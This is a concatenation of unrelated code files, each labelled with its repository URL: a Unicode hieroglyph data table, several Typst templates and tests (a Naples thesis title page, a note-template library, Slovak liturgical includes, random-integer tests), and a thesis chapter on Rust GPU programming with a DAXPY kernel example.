("EGYPTIAN HIEROGLYPH-142BB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142BC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142BD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142BE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142BF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142C0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142C1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142C2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142C3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142C4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142C5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142C6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142C7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142C8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142C9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142CA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142CB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142CC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142CD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142CE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142CF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142D0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142D1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142D2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142D3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142D4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142D5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142D6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142D7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142D8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142D9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142DA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142DB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142DC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142DD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142DE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142DF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142E0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142E1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142E2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142E3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142E4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142E5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142E6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142E7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142E8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142E9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142EA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142EB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142EC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142ED", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142EE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142EF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142F0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142F1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142F2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142F3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142F4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142F5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142F6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142F7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142F8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142F9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142FA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142FB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142FC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142FD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142FE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-142FF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14300", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14301", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14302", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14303", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14304", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14305", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14306", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14307", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14308", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14309", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1430A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1430B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1430C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1430D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1430E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1430F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14310", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14311", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14312", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14313", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14314", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14315", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14316", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14317", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14318", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14319", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1431A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1431B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1431C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1431D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1431E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1431F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14320", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14321", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14322", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14323", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14324", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14325", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14326", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14327", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14328", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14329", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1432A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1432B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1432C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1432D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1432E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1432F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14330", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14331", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14332", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14333", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14334", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14335", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14336", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14337", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14338", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14339", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1433A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1433B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1433C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1433D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1433E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1433F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14340", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14341", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14342", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14343", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14344", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14345", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14346", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14347", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14348", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14349", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1434A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1434B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1434C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1434D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1434E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1434F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14350", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14351", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14352", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14353", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14354", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14355", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14356", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14357", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14358", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14359", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1435A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1435B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1435C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1435D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1435E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1435F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14360", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14361", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14362", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14363", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14364", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14365", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14366", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14367", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14368", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14369", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1436A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1436B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1436C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1436D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1436E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1436F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14370", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14371", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14372", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14373", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14374", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14375", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14376", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14377", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14378", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14379", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1437A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1437B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1437C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1437D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1437E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1437F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14380", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14381", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14382", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14383", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14384", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14385", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14386", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14387", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14388", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14389", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1438A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1438B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1438C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1438D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1438E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1438F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14390", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14391", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14392", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14393", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14394", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14395", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14396", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14397", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14398", "Lo", 0),
("EGYPTIAN HIEROGLYPH-14399", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1439A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1439B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1439C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1439D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1439E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1439F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143A0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143A1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143A2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143A3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143A4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143A5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143A6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143A7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143A8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143A9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143AA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143AB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143AC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143AD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143AE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143AF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143B0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143B1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143B2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143B3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143B4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143B5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143B6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143B7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143B8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143B9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143BA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143BB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143BC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143BD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143BE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143BF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143C0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143C1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143C2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143C3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143C4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143C5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143C6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143C7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143C8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143C9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143CA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143CB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143CC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143CD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143CE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143CF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143D0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143D1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143D2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143D3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143D4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143D5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143D6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143D7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143D8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143D9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143DA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143DB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143DC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143DD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143DE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143DF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143E0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143E1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143E2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143E3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143E4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143E5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143E6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143E7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143E8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143E9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143EA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143EB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143EC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143ED", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143EE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143EF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143F0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143F1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143F2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143F3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143F4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143F5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143F6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143F7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143F8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143F9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-143FA", "Lo", 0),
)
|
https://github.com/visika/frontespizio-unina | https://raw.githubusercontent.com/visika/frontespizio-unina/main/frontespizio.typ | typst | The Unlicense | #let title = "Inserire qui il titolo della tesi"
#let relatore_1 = "Inserire qui il primo relatore"
#let relatore_2 = "Inserire qui il secondo relatore"
#let candidato = "Nome e cognome del candidato"
#let matricola = "Numero di matricola"
#let annoaccademico = "1900/1901"
// Imposta i metadati del documento
#set document(title: title, author: candidato)
// Imposta un font tipo LaTeX
#set text(font: "New Computer Modern", size: 12pt)
#set page(
paper: "a4",
margin: (right: 3cm, left: 3.5cm, top: 4.5cm, bottom: 3.5cm),
numbering: "i",
// Imposta un footer vuoto, in modo che non appaia la numerazione nel frontespizio
footer: [],
)
#[ // Title page
#set align(center)
#text(1.5em, [*UNIVERSITÀ DEGLI STUDI DI NAPOLI \ "FEDERICO II"*])
#v(3mm)
// University Logo
#image("University_Federico_II_Logo.svg", width: 25%)
#v(1cm)
*Scuola Politecnica e delle Scienze di Base*
*Area Didattica di Scienze Matematiche Fisiche e Naturali*
#v(8mm)
*Dipartimento di XXXX "<NAME>"*
#v(20mm)
_Laurea Magistrale in YYYY_
#v(5mm)
#text(1.5em, title)
#v(25mm)
#grid(
columns: 2,
align: (left, right),
column-gutter: 1fr,
row-gutter: 2.5mm,
[*Relatori*], [*Candidato*],
relatore_1, candidato,
relatore_2, [Matr. #matricola],
)
#v(5.5mm)
#text(1.2em, [Anno Accademico #annoaccademico])
#pagebreak() ]
#set page(
paper: "a4",
margin: (right: 3cm, left: 3.5cm, top: 3.5cm, bottom: 3.5cm),
numbering: "i",
// Lascia il footer secondo le impostazioni predefinite di Typst, in modo da mostrare da ora in poi la numerazione delle pagine
footer: none,
)
// Qui inserisci abstract e indice
#par(justify: true)[
= Abstract
#lorem(50)
]
#outline()
// Da qui in poi la numerazione è in numeri arabi e ricomincia da uno
#set page(numbering: "1")
#counter(page).update(1)
#pagebreak()
= Introduzione
// Per un modello di tesi più completo, puoi prendere liberamente spunto dal codice nel file
// thesis.typ della repository https://github.com/visika/tesi-magistrale
|
https://github.com/choglost/LessElegantNote | https://raw.githubusercontent.com/choglost/LessElegantNote/main/lib.typ | typst | MIT License | #import "layouts/doc.typ": doc
#import "layouts/preface.typ": preface
#import "layouts/mainmatter.typ": mainmatter
#import "layouts/appendix.typ": appendix
#import "pages/fonts-display-page.typ": fonts-display-page
#import "pages/elegant-cover.typ": elegant-cover
#import "pages/outline-page.typ": outline-page
#import "utils/custom-numbering.typ": custom-numbering
#import "utils/custom-heading.typ": heading-display, active-heading, current-heading
#import "utils/indent.typ": indent, fake-par
#import "utils/style.typ": 字体, 字号
#import "utils/theorem.typ": *
// 使用函数闭包特性，通过 `documentclass` 函数类进行全局信息配置，然后暴露出拥有了全局配置的、具体的 `layouts` 和 `templates` 内部函数。
#let documentclass(
twoside: false, // 双面模式，会加入空白页，便于打印
info: (:),
) = {
// 默认参数
info = (
title: ("LessElegantNote：一个Typst笔记模版"),
author: "IxionWheel",
date: datetime.today(),
) + info
(
// 将传入参数再导出
twoside: twoside,
info: info,
// 页面布局
doc: (..args) => {
doc(
..args,
info: info + args.named().at("info", default: (:)),
)
},
preface: (..args) => {
preface(
twoside: twoside,
..args,
)
},
mainmatter: (..args) => {
mainmatter(
twoside: twoside,
info: info + args.named().at("info", default: (:)),
..args,
)
},
appendix: (..args) => {
appendix(
..args,
)
},
// 字体展示页
fonts-display-page: (..args) => {
fonts-display-page(
twoside: twoside,
..args,
)
},
// 封面页
cover: (..args) => {
elegant-cover(
twoside: twoside,
info: info + args.named().at("info", default: (:)),
..args,
)
},
// 目录页
outline-page: (..args) => {
outline-page(
twoside: twoside,
..args,
)
},
)
}
|
https://github.com/supersurviveur/typst-math | https://raw.githubusercontent.com/supersurviveur/typst-math/main/typst-math-macros/README.md | markdown | MIT License | # Typst math macros
Helper macros used in `typst-math-rust` to generate the symbols HashMap. |
https://github.com/Kasci/LiturgicalBooks | https://raw.githubusercontent.com/Kasci/LiturgicalBooks/master/_general/casoslov/casy.typ | typst | #show <X>: it => {
if it.location().position().y > 480pt [$ $ #colbreak() #it]
else [#it]
}
#set text(font: "Monomakh Unicode", lang: "sk", fill: black)
#include("/SK/casoslov/casy/cas1.typ")
#pagebreak()
#include("/SK/casoslov/casy/cas3.typ")
#pagebreak()
#include("/SK/casoslov/casy/cas6.typ")
#pagebreak()
#include("/SK/casoslov/casy/cas9.typ")
#pagebreak()
#include("/SK/casoslov/postne_casy/cas1.typ")
#pagebreak()
#include("/SK/casoslov/postne_casy/cas3.typ")
#pagebreak()
#include("/SK/casoslov/postne_casy/cas6.typ")
#pagebreak()
#include("/SK/casoslov/postne_casy/cas9.typ")
#pagebreak() |
|
https://github.com/qjcg/typstry | https://raw.githubusercontent.com/qjcg/typstry/main/templates/letter/letter.typ | typst | MIT License | #let letter(
date: none,
to: "",
from: "",
body: [],
) = [
#set document(
title: "Example Letter",
author: from,
)
#set page(
paper: "us-letter",
margin: (x: 3.0cm, y: 1.5cm),
header: [
#set text(8pt)
#smallcaps[DRW NX]
#h(1fr) _Annual Letter_
],
)
#set text(
font: "ETBembo",
size: 12pt,
)
#v(20%)
#align(right)[#date]
Dear #to,
#set par(
first-line-indent: 2em,
justify: true,
)
#body
#align(center)[
Best,
#from
]
]
|
https://github.com/liuguangxi/suiji | https://raw.githubusercontent.com/liuguangxi/suiji/main/tests/test-integers-f.typ | typst | MIT License | #set document(date: none)
#import "/src/lib.typ": *
#let print-arr(arr) = {
if type(arr) != array {
[#raw(str(arr) + " ")]
} else {
[#raw(arr.map(it => str(it)).join(" "))]
}
}
#{
let n = 100
let rng = gen-rng-f(42)
let arr = ()
(rng, arr) = integers-f(rng, low: 0, high: 100, size: n)
print-arr(arr); parbreak()
rng = gen-rng-f(42)
for i in range(n) {
(rng, arr) = integers-f(rng, low: 0, high: 100)
print-arr(arr)
}
parbreak()
(rng, arr) = integers-f(rng, low: 0, high: 10)
raw(repr(arr)); parbreak()
(rng, arr) = integers-f(rng, low: 0, high: 10, size: none)
raw(repr(arr)); parbreak()
(rng, arr) = integers-f(rng, low: 0, high: 10, size: 1)
raw(repr(arr)); parbreak()
(rng, arr) = integers-f(rng, low: 0, high: 10, size: 0)
raw(repr(arr)); parbreak()
rng = gen-rng-f(42)
(rng, arr) = integers-f(rng, low: 0, high: 100, size: n, endpoint: true)
print-arr(arr); parbreak()
}
|
https://github.com/dssgabriel/master-thesis | https://raw.githubusercontent.com/dssgabriel/master-thesis/main/src/chapters/3-contributions.typ | typst | Apache License 2.0 | #show raw.where(block: true): it => {
set text(font: "Intel One Mono", size: 8pt)
set align(left)
set block(fill: luma(240), inset: 10pt, radius: 4pt, width: 100%)
it
}
#show raw.where(block: false): box.with(
fill: luma(240),
inset: (x: 3pt, y: 0pt),
outset: (y: 3pt),
radius: 2pt
)
#show raw.where(block: false): text.with(font: "Intel One Mono")
= Contributions
#h(1.8em)
This section details the work that has been conducted during the internship. We start by establishing the current state of the art for Rust's present capabilities in GPU programming. Then, we present the open-source contributions that have been made as part of the Rust-CUDA project. We continue by offering a detailed overview of a tool for profiling the performance of hardware-accelerated Rust code. Finally, we discuss the process of porting a partitioning algorithm from a CEA application on NVIDIA GPUs.
== Establishing the state of the art
#h(1.8em)
The first goal of the internship was to establish a comprehensive state of the art for programming GPUs with Rust. First, we investigate the state of the language's native support. Second, we look at libraries that provide capabilities for writing GPU code through shading languages or existing external frameworks. Third, we present Rust bindings to the OpenCL 3 API. Finally, we explore CUDA support specifically for NVIDIA GPUs.
=== Native language support <native_support>
#h(1.8em)
The Rust programming language officially supports NVIDIA's `nvptx64` architecture as a "tier 2" compiler target @noauthor_target_nodate @noauthor_nvptx64-nvidia-cuda_nodate. This includes support for the following :
- Writing kernels directly in Rust
- Intrinsics for retrieving a thread's unique identifier
- Synchronization primitives for block-level scheduling
However, this initial support is minimal compared to writing standard Rust. Indeed, kernels cannot depend on Rust's standard library. Kernels must be declared as `unsafe` functions, which reduces the compiler's ability to assert the GPU code's correctness. Moreover, one of Rust's most useful abstractions, slices, are not usable inside functions compiled for the `nvptx64` target. This forces the use of raw pointers to interact with memory buffers. As pointer arithmetic is forbidden in Rust, it is necessary to use the core `add` method to correctly offset a pointer's address before de-referencing it. These shortcomings result in highly verbose kernel code, which is hard to read and write.
#figure(caption: "Minimal example for writing a native Rust DAXPY GPU kernel")[
```rust
#![no_std] // Disable access to the standard library
#![no_main] // Remove the requirement for a main function
#![feature(abi_ptx, core_intrinsics)] // Enable PTX ABI and access to its intrinsics
use core::arch::nvptx; // Import the `nvptx` namespace
#[no_mangle] // Prevent the compiler from mangling the function's name
// Define the function as "unsafe" and use the PTX ABI
pub unsafe extern "ptx-kernel" fn daxpy_kernel(
n: usize, alpha: f64, x: *const f64, y: *mut f64
) -> {
let idx = nvptx::_thread_idx_x() as usize; // Retrieve the thread's index
if idx < n { // Assert that the index is not out of bounds
// Get a mutable borrow of the output vector's target index/address
let item = &mut *y.add(idx);
// De-reference the target index/address to perform the AXPY operation
*item += alpha * &*x.add(idx);
}
}
// Necessary code to tell the compiler what to do in case of a fatal error
#[panic_handler]
unsafe fn breakpoint_panic_handler(_: &::core::panic::PanicInfo) -> ! {
core::intrinsics::breakpoint();
core::hint::unreachable_unchecked();
}
```
]<rustc_nvptx>
#h(1.8em)
As @rustc_nvptx demonstrates, a kernel as simple as DAXPY is unnecessarily verbose to write. This makes GPU code exceedingly challenging to work with in native Rust due to the high amount of complexity implied by working with no language abstractions.
#linebreak()
